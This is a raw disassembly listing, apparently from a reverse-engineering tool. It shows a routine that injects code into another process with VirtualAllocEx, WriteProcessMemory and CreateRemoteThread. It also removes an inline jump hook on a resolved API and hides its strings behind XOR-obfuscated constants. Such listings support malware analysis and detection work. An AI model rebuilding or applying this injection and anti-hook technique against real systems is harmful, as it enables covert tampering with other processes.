lea eax, [ebp - 0x1ec0]
mov dword [ebp - 0x8a0], 0x4052e425
push eax
lea eax, [ebp - 0x1ef0]
mov dword [ebp - 0x89c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x31d8]
mov dword [ebp - 0x1ef0], 0x4052e425
mov dword [ebp - 0x1eec], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
mov dword [ebp - 0x1ee8], 0xc0676c76
mov dword [ebp - 0x1ee4], 0xb21b7932
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x1ee0], 0x97d58527
mov dword [ebp - 0x1edc], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
mov dword [ebp - 0x1ed8], 0x9ef18ec8
mov dword [ebp - 0x1ed4], 0xe0d84f08
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x1ed0], 0xb7d7ed9
mov dword [ebp - 0x1ecc], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
mov dword [ebp - 0x1ec8], 0x7e658fa
mov dword [ebp - 0x1ec4], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1f20]
mov dword [ebp - 0x10d0], 0x34208d73
push eax
lea eax, [ebp - 0x1f50]
mov dword [ebp - 0x10cc], 0xceae04ca
push eax
lea ecx, [ebp - 0x31d0]
mov dword [ebp - 0x1f50], 0x34208d73
mov dword [ebp - 0x1f4c], 0xceae04ca
mov dword [ebp - 0x10c8], 0xa308001a
mov dword [ebp - 0x10c4], 0xd43b0177
mov dword [ebp - 0x1f48], 0xa308001a
mov dword [ebp - 0x1f44], 0xd43b0177
mov dword [ebp - 0x10c0], 0xf2b9ec46
mov dword [ebp - 0x10bc], 0x1ee9ded9
mov dword [ebp - 0x1f40], 0xf2b9ec46
mov dword [ebp - 0x1f3c], 0x1ee9ded9
mov dword [ebp - 0x10b8], 0xfdd1e6bc
mov dword [ebp - 0x10b4], 0xc0bd2b67
mov dword [ebp - 0x1f38], 0xfdd1e6bc
mov dword [ebp - 0x1f34], 0xc0bd2b67
mov dword [ebp - 0x10b0], 0xb771afc
mov dword [ebp - 0x10ac], 0xb7b4931b
mov dword [ebp - 0x1f30], 0xb771afc
mov dword [ebp - 0x1f2c], 0xb7b4931b
mov dword [ebp - 0x10a8], 0x7e658fa
mov dword [ebp - 0x10a4], 0x4625c1be
mov dword [ebp - 0x1f28], 0x7e658fa
mov dword [ebp - 0x1f24], 0x4625c1be
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x10d0]
lea eax, [ebp - 0x10d0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x10d0], xmm1
movaps xmm1, xmmword [ebp - 0x10c0]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x10c0], xmm1
movaps xmm1, xmmword [ebp - 0x10b0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x10b0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1ef
push 4
push 0x1000
push 0x720
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2c0c], eax
test eax, eax
jne 0x45c1c5
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1f80], 0x600fd67e
lea eax, [ebp - 0x1f50]
mov dword [ebp - 0x1f7c], 0xfbb00ce9
push eax
lea eax, [ebp - 0x1f80]
mov dword [ebp - 0x1f78], 0x810b0d03
push eax
lea ecx, [ebp - 0x31c8]
mov dword [ebp - 0x1f74], 0xd174155e
mov dword [ebp - 0x1f70], 0xf1f5fd62
mov dword [ebp - 0x1f6c], 0x12f297dc
mov dword [ebp - 0x1f68], 0xf786aeac
mov dword [ebp - 0x1f64], 0x83f8277c
mov dword [ebp - 0x1f60], 0x2b181ab6
mov dword [ebp - 0x1f5c], 0xb7bef73e
mov dword [ebp - 0x1f58], 0x7e658fa
mov dword [ebp - 0x1f54], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1f80]
mov dword [ebp - 0x8a0], 0x4052e425
push eax
lea eax, [ebp - 0x1fb0]
mov dword [ebp - 0x89c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x31c0]
mov dword [ebp - 0x1fb0], 0x4052e425
mov dword [ebp - 0x1fac], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
mov dword [ebp - 0x1fa8], 0xc0676c76
mov dword [ebp - 0x1fa4], 0xb21b7932
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x1fa0], 0x97d58527
mov dword [ebp - 0x1f9c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
mov dword [ebp - 0x1f98], 0x9ef18ec8
mov dword [ebp - 0x1f94], 0xe0d84f08
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x1f90], 0xb7d7ed9
mov dword [ebp - 0x1f8c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
mov dword [ebp - 0x1f88], 0x7e658fa
mov dword [ebp - 0x1f84], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1fb0]
mov dword [ebp - 0x10a0], 0x600fd67e
push eax
lea eax, [ebp - 0x1fe0]
mov dword [ebp - 0x109c], 0xfbb00ce9
push eax
lea ecx, [ebp - 0x31b8]
mov dword [ebp - 0x1fe0], 0x600fd67e
mov dword [ebp - 0x1fdc], 0xfbb00ce9
mov dword [ebp - 0x1098], 0x810b0d03
mov dword [ebp - 0x1094], 0xd174155e
mov dword [ebp - 0x1fd8], 0x810b0d03
mov dword [ebp - 0x1fd4], 0xd174155e
mov dword [ebp - 0x1090], 0xf1f5fd62
mov dword [ebp - 0x108c], 0x12f297dc
mov dword [ebp - 0x1fd0], 0xf1f5fd62
mov dword [ebp - 0x1fcc], 0x12f297dc
mov dword [ebp - 0x1088], 0xf786aeac
mov dword [ebp - 0x1084], 0x83f8277c
mov dword [ebp - 0x1fc8], 0xf786aeac
mov dword [ebp - 0x1fc4], 0x83f8277c
mov dword [ebp - 0x1080], 0x2b181ab6
mov dword [ebp - 0x107c], 0xb7bef73e
mov dword [ebp - 0x1fc0], 0x2b181ab6
mov dword [ebp - 0x1fbc], 0xb7bef73e
mov dword [ebp - 0x1078], 0x7e658fa
mov dword [ebp - 0x1074], 0x4625c1be
mov dword [ebp - 0x1fb8], 0x7e658fa
mov dword [ebp - 0x1fb4], 0x4625c1be
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x10a0]
lea eax, [ebp - 0x10a0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x10a0], xmm1
movaps xmm1, xmmword [ebp - 0x1090]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1090], xmm1
movaps xmm1, xmmword [ebp - 0x1080]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1080], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1ef
push 0
push 0x720
push 0x454430
push dword [ebp - 0x2c10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c4e9
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x2010], 0x343b9672
lea eax, [ebp - 0x1fe0]
mov dword [ebp - 0x200c], 0xe0b035da
push eax
lea eax, [ebp - 0x2010]
mov dword [ebp - 0x2008], 0xb3140915
push eax
lea ecx, [ebp - 0x31b0]
mov dword [ebp - 0x2004], 0xdd761c7f
mov dword [ebp - 0x2000], 0xf1f5fc55
mov dword [ebp - 0x1ffc], 0x12f297dc
mov dword [ebp - 0x1ff8], 0xf786aeac
mov dword [ebp - 0x1ff4], 0x83f8277c
mov dword [ebp - 0x1ff0], 0x2b181ab6
mov dword [ebp - 0x1fec], 0xb7bef73e
mov dword [ebp - 0x1fe8], 0x7e658fa
mov dword [ebp - 0x1fe4], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1b00]
mov dword [ebp - 0x8a0], 0x4052e425
push eax
lea eax, [ebp - 0x1b30]
mov dword [ebp - 0x89c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x31a8]
mov dword [ebp - 0x1b30], 0x4052e425
mov dword [ebp - 0x1b2c], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
mov dword [ebp - 0x1b28], 0xc0676c76
mov dword [ebp - 0x1b24], 0xb21b7932
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x1b20], 0x97d58527
mov dword [ebp - 0x1b1c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
mov dword [ebp - 0x1b18], 0x9ef18ec8
mov dword [ebp - 0x1b14], 0xe0d84f08
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x1b10], 0xb7d7ed9
mov dword [ebp - 0x1b0c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
mov dword [ebp - 0x1b08], 0x7e658fa
mov dword [ebp - 0x1b04], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1b30]
mov dword [ebp - 0x1070], 0x343b9672
push eax
lea eax, [ebp - 0x1b60]
mov dword [ebp - 0x106c], 0xe0b035da
push eax
lea ecx, [ebp - 0x31a0]
mov dword [ebp - 0x1b60], 0x343b9672
mov dword [ebp - 0x1b5c], 0xe0b035da
mov dword [ebp - 0x1068], 0xb3140915
mov dword [ebp - 0x1064], 0xdd761c7f
mov dword [ebp - 0x1b58], 0xb3140915
mov dword [ebp - 0x1b54], 0xdd761c7f
mov dword [ebp - 0x1060], 0xf1f5fc55
mov dword [ebp - 0x105c], 0x12f297dc
mov dword [ebp - 0x1b50], 0xf1f5fc55
mov dword [ebp - 0x1b4c], 0x12f297dc
mov dword [ebp - 0x1058], 0xf786aeac
mov dword [ebp - 0x1054], 0x83f8277c
mov dword [ebp - 0x1b48], 0xf786aeac
mov dword [ebp - 0x1b44], 0x83f8277c
mov dword [ebp - 0x1050], 0x2b181ab6
mov dword [ebp - 0x104c], 0xb7bef73e
mov dword [ebp - 0x1b40], 0x2b181ab6
mov dword [ebp - 0x1b3c], 0xb7bef73e
mov dword [ebp - 0x1048], 0x7e658fa
mov dword [ebp - 0x1044], 0x4625c1be
mov dword [ebp - 0x1b38], 0x7e658fa
mov dword [ebp - 0x1b34], 0x4625c1be
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x1070]
lea eax, [ebp - 0x1070]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1070], xmm1
movaps xmm1, xmmword [ebp - 0x1060]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1060], xmm1
movaps xmm1, xmmword [ebp - 0x1050]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1050], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1ef
push 0
push 0x720
lea eax, [ebp - 0x2a60]
push eax
push dword [ebp - 0x2c0c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c80f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1b90], 0x343b9672
lea eax, [ebp - 0x1b60]
mov dword [ebp - 0x1b8c], 0xe0b035da
push eax
lea eax, [ebp - 0x1b90]
mov dword [ebp - 0x1b88], 0xb3140915
push eax
lea ecx, [ebp - 0x3198]
mov dword [ebp - 0x1b84], 0xdd761c7f
mov dword [ebp - 0x1b80], 0xf1f5fc55
mov dword [ebp - 0x1b7c], 0x12f297dc
mov dword [ebp - 0x1b78], 0xf786aeac
mov dword [ebp - 0x1b74], 0x83f8277c
mov dword [ebp - 0x1b70], 0x2b181ab6
mov dword [ebp - 0x1b6c], 0xb7bef73e
mov dword [ebp - 0x1b68], 0x7e658fa
mov dword [ebp - 0x1b64], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1b90]
mov dword [ebp - 0x8a0], 0x4052e425
push eax
lea eax, [ebp - 0x1bc0]
mov dword [ebp - 0x89c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3190]
mov dword [ebp - 0x1bc0], 0x4052e425
mov dword [ebp - 0x1bbc], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
mov dword [ebp - 0x1bb8], 0xc0676c76
mov dword [ebp - 0x1bb4], 0xb21b7932
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x1bb0], 0x97d58527
mov dword [ebp - 0x1bac], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
mov dword [ebp - 0x1ba8], 0x9ef18ec8
mov dword [ebp - 0x1ba4], 0xe0d84f08
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x1ba0], 0xb7d7ed9
mov dword [ebp - 0x1b9c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
mov dword [ebp - 0x1b98], 0x7e658fa
mov dword [ebp - 0x1b94], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1bc0]
mov dword [ebp - 0x1040], 0x343b9672
push eax
lea eax, [ebp - 0x1bf0]
mov dword [ebp - 0x103c], 0xe0b035da
push eax
lea ecx, [ebp - 0x3188]
mov dword [ebp - 0x1bf0], 0x343b9672
mov dword [ebp - 0x1bec], 0xe0b035da
mov dword [ebp - 0x1038], 0xb3140915
mov dword [ebp - 0x1034], 0xdd761c7f
mov dword [ebp - 0x1be8], 0xb3140915
mov dword [ebp - 0x1be4], 0xdd761c7f
mov dword [ebp - 0x1030], 0xf1f5fc55
mov dword [ebp - 0x102c], 0x12f297dc
mov dword [ebp - 0x1be0], 0xf1f5fc55
mov dword [ebp - 0x1bdc], 0x12f297dc
mov dword [ebp - 0x1028], 0xf786aeac
mov dword [ebp - 0x1024], 0x83f8277c
mov dword [ebp - 0x1bd8], 0xf786aeac
mov dword [ebp - 0x1bd4], 0x83f8277c
mov dword [ebp - 0x1020], 0x2b181ab6
mov dword [ebp - 0x101c], 0xb7bef73e
mov dword [ebp - 0x1bd0], 0x2b181ab6
mov dword [ebp - 0x1bcc], 0xb7bef73e
mov dword [ebp - 0x1018], 0x7e658fa
mov dword [ebp - 0x1014], 0x4625c1be
mov dword [ebp - 0x1bc8], 0x7e658fa
mov dword [ebp - 0x1bc4], 0x4625c1be
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x1040]
lea eax, [ebp - 0x1040]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1040], xmm1
movaps xmm1, xmmword [ebp - 0x1030]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1030], xmm1
movaps xmm1, xmmword [ebp - 0x1020]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1020], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45d1ef
lea eax, [ebp - 0x1960]
mov dword [ebp - 0x1980], 0x9208069
push eax
lea eax, [ebp - 0x1980]
mov dword [ebp - 0x197c], 0xe6b60cd1
push eax
lea ecx, [ebp - 0x3180]
mov dword [ebp - 0x1978], 0xba0e0017
mov dword [ebp - 0x1974], 0xc7732d57
mov dword [ebp - 0x1970], 0x97d5ee49
mov dword [ebp - 0x196c], 0x779efebd
mov dword [ebp - 0x1968], 0x9ef18ec8
mov dword [ebp - 0x1964], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1940]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1960]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3178]
mov dword [ebp - 0x1960], 0x4052e425
mov dword [ebp - 0x195c], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x1958], 0xc0676c76
mov dword [ebp - 0x1954], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x1950], 0x97d58527
mov dword [ebp - 0x194c], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x1948], 0x9ef18ec8
mov dword [ebp - 0x1944], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x1920]
mov dword [ebp - 0xd40], 0x9208069
push eax
lea eax, [ebp - 0x1940]
mov dword [ebp - 0xd3c], 0xe6b60cd1
push eax
lea ecx, [ebp - 0x3170]
mov dword [ebp - 0x1940], 0x9208069
mov dword [ebp - 0x193c], 0xe6b60cd1
mov dword [ebp - 0xd38], 0xba0e0017
mov dword [ebp - 0xd34], 0xc7732d57
mov dword [ebp - 0x1938], 0xba0e0017
mov dword [ebp - 0x1934], 0xc7732d57
mov dword [ebp - 0xd30], 0x97d5ee49
mov dword [ebp - 0xd2c], 0x779efebd
mov dword [ebp - 0x1930], 0x97d5ee49
mov dword [ebp - 0x192c], 0x779efebd
mov dword [ebp - 0xd28], 0x9ef18ec8
mov dword [ebp - 0xd24], 0xe0d84f08
mov dword [ebp - 0x1928], 0x9ef18ec8
mov dword [ebp - 0x1924], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xd40]
lea eax, [ebp - 0x2c28]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3168]
movaps xmmword [ebp - 0xd40], xmm1
movaps xmm1, xmmword [ebp - 0xd30]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2c38]
movaps xmmword [ebp - 0xd30], xmm1
push eax
mov dword [ebp - 0x2c38], 0x2c36904b
mov dword [ebp - 0x2c34], 0xe3a64bd3
mov dword [ebp - 0x2c30], 0xc0676c1a
mov dword [ebp - 0x2c2c], 0xb21b7932
call fcn.0045f990
mov dword [ebp - 0x850], 0x4052e425
mov dword [ebp - 0x84c], 0x8fc265bf
mov dword [ebp - 0x2c48], 0x4052e425
mov dword [ebp - 0x2c44], 0x8fc265bf
mov dword [ebp - 0x848], 0xc0676c76
mov dword [ebp - 0x844], 0xb21b7932
mov dword [ebp - 0x2c40], 0xc0676c76
lea eax, [ebp - 0x2c38]
mov dword [ebp - 0x2c3c], 0xb21b7932
push eax
lea eax, [ebp - 0x2c48]
push eax
lea ecx, [ebp - 0x3160]
call fcn.0045f990
lea eax, [ebp - 0x2c48]
mov dword [ebp - 0xa50], 0x2c36904b
push eax
lea eax, [ebp - 0x2c58]
mov dword [ebp - 0xa4c], 0xe3a64bd3
push eax
lea ecx, [ebp - 0x3158]
mov dword [ebp - 0x2c58], 0x2c36904b
mov dword [ebp - 0x2c54], 0xe3a64bd3
mov dword [ebp - 0xa48], 0xc0676c1a
mov dword [ebp - 0xa44], 0xb21b7932
mov dword [ebp - 0x2c50], 0xc0676c1a
mov dword [ebp - 0x2c4c], 0xb21b7932
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xa50]
lea eax, [ebp - 0xa50]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa50], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xd40]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 5
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x2c04], eax
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 0x1c], 0xe9
jne 0x45cb90
mov eax, dword [ebp - 0x2c04]
push 0
push 5
push eax
push eax
push esi
mov byte [ebp - 0x2bf5], 1
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x2c0c]
push dword [ebp - 0x2c10]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2c00], eax
test eax, eax
jne 0x45cee3
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1c20], 0x21379666
lea eax, [ebp - 0x1bf0]
mov dword [ebp - 0x1c1c], 0xea9000cb
push eax
lea eax, [ebp - 0x1c20]
mov dword [ebp - 0x1c18], 0xa513031b
push eax
lea ecx, [ebp - 0x3150]
mov dword [ebp - 0x1c14], 0xd7691166
mov dword [ebp - 0x1c10], 0xf1f5e146
mov dword [ebp - 0x1c0c], 0x12f297dc
mov dword [ebp - 0x1c08], 0xf786aeac
mov dword [ebp - 0x1c04], 0x83f8277c
mov dword [ebp - 0x1c00], 0x2b181ab6
mov dword [ebp - 0x1bfc], 0xb7bef73e
mov dword [ebp - 0x1bf8], 0x7e658fa
mov dword [ebp - 0x1bf4], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1c20]
mov dword [ebp - 0x8a0], 0x4052e425
push eax
lea eax, [ebp - 0x1c50]
mov dword [ebp - 0x89c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x3148]
mov dword [ebp - 0x1c50], 0x4052e425
mov dword [ebp - 0x1c4c], 0x8fc265bf
mov dword [ebp - 0x898], 0xc0676c76
mov dword [ebp - 0x894], 0xb21b7932
mov dword [ebp - 0x1c48], 0xc0676c76
mov dword [ebp - 0x1c44], 0xb21b7932
mov dword [ebp - 0x890], 0x97d58527
mov dword [ebp - 0x88c], 0x779efebd
mov dword [ebp - 0x1c40], 0x97d58527
mov dword [ebp - 0x1c3c], 0x779efebd
mov dword [ebp - 0x888], 0x9ef18ec8
mov dword [ebp - 0x884], 0xe0d84f08
mov dword [ebp - 0x1c38], 0x9ef18ec8
mov dword [ebp - 0x1c34], 0xe0d84f08
mov dword [ebp - 0x880], 0xb7d7ed9
mov dword [ebp - 0x87c], 0xb7b4931b
mov dword [ebp - 0x1c30], 0xb7d7ed9
mov dword [ebp - 0x1c2c], 0xb7b4931b
mov dword [ebp - 0x878], 0x7e658fa
mov dword [ebp - 0x874], 0x4625c1be
mov dword [ebp - 0x1c28], 0x7e658fa
mov dword [ebp - 0x1c24], 0x4625c1be
call fcn.0045f990
lea eax, [ebp - 0x1c50]
mov dword [ebp - 0x1010], 0x21379666
push eax
lea eax, [ebp - 0x1c80]
mov dword [ebp - 0x100c], 0xea9000cb
push eax
lea ecx, [ebp - 0x3140]
mov dword [ebp - 0x1c80], 0x21379666
mov dword [ebp - 0x1c7c], 0xea9000cb
mov dword [ebp - 0x1008], 0xa513031b
mov dword [ebp - 0x1004], 0xd7691166
mov dword [ebp - 0x1c78], 0xa513031b
mov dword [ebp - 0x1c74], 0xd7691166
mov dword [ebp - 0x1000], 0xf1f5e146
mov dword [ebp - 0xffc], 0x12f297dc
mov dword [ebp - 0x1c70], 0xf1f5e146
mov dword [ebp - 0x1c6c], 0x12f297dc
mov dword [ebp - 0xff8], 0xf786aeac
mov dword [ebp - 0xff4], 0x83f8277c
mov dword [ebp - 0x1c68], 0xf786aeac
mov dword [ebp - 0x1c64], 0x83f8277c
mov dword [ebp - 0xff0], 0x2b181ab6
mov dword [ebp - 0xfec], 0xb7bef73e
mov dword [ebp - 0x1c60], 0x2b181ab6
mov dword [ebp - 0x1c5c], 0xb7bef73e
mov dword [ebp - 0xfe8], 0x7e658fa
mov dword [ebp - 0xfe4], 0x4625c1be
mov dword [ebp - 0x1c58], 0x7e658fa
mov dword [ebp - 0x1c54], 0x4625c1be
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x1010]
lea eax, [ebp - 0x1010]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1010], xmm1
movaps xmm1, xmmword [ebp - 0x1000]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1000], xmm1
movaps xmm1, xmmword [ebp - 0xff0]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0xff0], xmm1
call fcn.0044b300
add esp, 8
cmp byte [ebp - 0x2bf5], 0
je 0x45d1ef
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2c04]
push dword [ebp - 0x2c08]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x45d1ef
push 0x2bf20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x2bfc], eax
call edi
cmp byte [ebp - 0x2bf5], 0
je 0x45cf20
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2c04]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x2c14]
push eax
push dword [ebp - 0x2c00]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x2bfc]
cmp eax, 0x102
je 0x45cf92
cmp eax, 0x80
je 0x45cf92
mov eax, dword [ebp - 0x2c14]
test eax, eax
je 0x45cf92
cmp eax, 0xffffffff
je 0x45cf92
push 0x2710
call edi
push 0x8000
push 0
push dword [ebp - 0x2c10]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2c0c]
push dword [ebp - 0x2c08]
call esi
call fcn.0044d800
jmp 0x4580e4
push dword [ebp - 0x2c00]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0x8000
push 0
push dword [ebp - 0x2c10]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2c0c]
push dword [ebp - 0x2c08]
call esi
push dword [ebp - 0x2c08]
call edi
lea eax, [ebp - 0x1900]
mov dword [ebp - 0x1920], 0x25388a6c
push eax
lea eax, [ebp - 0x1920]
mov dword [ebp - 0x191c], 0xeee211dc
push eax
lea ecx, [ebp - 0x3138]
mov dword [ebp - 0x1918], 0xad021802
mov dword [ebp - 0x1914], 0xd43b0d42
mov dword [ebp - 0x1910], 0xf2b9ec46
mov dword [ebp - 0x190c], 0x779ef4d9
mov dword [ebp - 0x1908], 0x9ef18ec8
mov dword [ebp - 0x1904], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x18e0]
mov dword [ebp - 0x860], 0x4052e425
push eax
lea eax, [ebp - 0x1900]
mov dword [ebp - 0x85c], 0x8fc265bf
push eax
lea ecx, [ebp - 0x30f8]
mov dword [ebp - 0x1900], 0x4052e425
mov dword [ebp - 0x18fc], 0x8fc265bf
mov dword [ebp - 0x858], 0xc0676c76
mov dword [ebp - 0x854], 0xb21b7932
mov dword [ebp - 0x18f8], 0xc0676c76
mov dword [ebp - 0x18f4], 0xb21b7932
mov dword [ebp - 0x850], 0x97d58527
mov dword [ebp - 0x84c], 0x779efebd
mov dword [ebp - 0x18f0], 0x97d58527
mov dword [ebp - 0x18ec], 0x779efebd
mov dword [ebp - 0x848], 0x9ef18ec8
mov dword [ebp - 0x844], 0xe0d84f08
mov dword [ebp - 0x18e8], 0x9ef18ec8
mov dword [ebp - 0x18e4], 0xe0d84f08
call fcn.0045f990
lea eax, [ebp - 0x18c0]
mov dword [ebp - 0xd60], 0x25388a6c
push eax
lea eax, [ebp - 0x18e0]
mov dword [ebp - 0xd5c], 0xeee211dc
push eax
lea ecx, [ebp - 0x3130]
mov dword [ebp - 0x18e0], 0x25388a6c
mov dword [ebp - 0x18dc], 0xeee211dc
mov dword [ebp - 0xd58], 0xad021802
mov dword [ebp - 0xd54], 0xd43b0d42
mov dword [ebp - 0x18d8], 0xad021802
mov dword [ebp - 0x18d4], 0xd43b0d42
mov dword [ebp - 0xd50], 0xf2b9ec46
mov dword [ebp - 0xd4c], 0x779ef4d9
mov dword [ebp - 0x18d0], 0xf2b9ec46
mov dword [ebp - 0x18cc], 0x779ef4d9
mov dword [ebp - 0xd48], 0x9ef18ec8
mov dword [ebp - 0xd44], 0xe0d84f08
mov dword [ebp - 0x18c8], 0x9ef18ec8
mov dword [ebp - 0x18c4], 0xe0d84f08
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xd60]
lea eax, [ebp - 0xd60]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xd60], xmm1
movaps xmm1, xmmword [ebp - 0xd50]
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xd50], xmm1
push eax
call fcn.0044b300
mov edi, dword [ebp - 0x2bf4]
add esp, 4
lea ecx, [ebp - 0x228]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x45d200
sub ecx, edx
lea edx, [ebp - 0x228]
sar ecx, 1
push ecx
mov ecx, edi
call fcn.00454490
add esp, 4
test al, al
